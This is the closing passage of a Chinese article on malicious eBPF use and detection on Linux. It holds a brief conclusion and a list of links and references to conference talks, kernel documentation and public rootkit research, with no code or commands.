    這里,筆者跟大家探討了基于eBPF技術的惡意利用與檢測機制。在文章之初,提到eBPF在防御檢測產品研發、工程建設等,我們將在下一篇跟大家分享,敬請期待。

    文末鏈接?

    鏈接-1:https://www.blackhat.com/us-21/briefings/schedule/#with-friends-like-ebpf-who-needs-enemies-23619

    鏈接-2:https://defcon.org/html/defcon-29/dc-29-speakers.html#path

    鏈接-3:https://blog.tofile.dev/2021/08/01/bad-bpf.html

    鏈接-4:https://www.kernel.org/doc/html/latest/admin-guide/sysctl/kernel.html#unprivileged-bpf-disabled

    鏈接-5:https://lwn.net/Articles/853489/

    鏈接-6:https://lwn.net/Articles/854386/

    鏈接-7:https://github.com/ehids/ehids-agent/blob/master/kern/bpf_call_kern.c

    鏈接-8:https://github.com/ehids/slide/blob/master/security/2021-Secure_Namespaced_Kernel_Audit_for_Containers.pdf

    鏈接-9:https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html

    鏈接-10:https://man7.org/linux/man-pages/man8/tc-bpf.8.html

    鏈接-11:https://github.com/cylance/eBPF_processor

    鏈接-12:https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool

    鏈接-13:https://github.com/iovisor/bcc/blob/master/docs/reference_guide.md#11-lsm-probes

    鏈接-14:https://github.com/libbpf/libbpf-bootstrap

    鏈接-15:https://nakryiko.com/posts/bpf-core-reference-guide/

    參考資料

    1. Creating and Countering the Next Generation of Linux Rootkits:?DEF CON 29 - PatH - Warping Reality: Creating and Countering the Next Generation of Linux Rootkits

    2. DEFCON 29 - eBPF, I thought we were friends:https://www.youtube.com/watch?v=5zixNDolLrg

    3. eBPF的各種技術應用PDF集合:?https://github.com/ehids/slide

    4. Offensive BPF: Malicious bpftrace :?https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/

    5. Bad BPF - Warping reality using eBPF:https://blog.tofile.dev/2021/08/01/bad-bpf.html

    6. Lifetime of BPF objects:?https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html

    7. BPF程序(BPF Prog)類型詳解:使用場景、函數簽名、執行位置及程序示例:https://arthurchiao.art/blog/bpf-advanced-notes-1-zh

    8. Features of bpftool: the thread of tips and examples to work with eBPF objects:?https://qmonnet.github.io/whirl-offload/2021/09/23/bpftool-features-thread/

    9. Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool:?https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool

    10. Creating and countering the next generation of Linux rootkits using eBPF:?Creating and countering the next generation of Linux rootkits using eBPF?Pat Hogan

    11. eBPF Syscall:?https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html

    12. Cilium eBPF實現機制源碼分析:?https://www.cnxct.com/how-does-cilium-use-ebpf-with-go-and-c/

    13. ebpfkit is a rootkit powered by eBPF:?https://github.com/Gui774ume/ebpfkit

    總結

    以上是生活随笔為你收集整理的Linux中基于eBPF的恶意利用与检测机制(rootkit、驱动)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。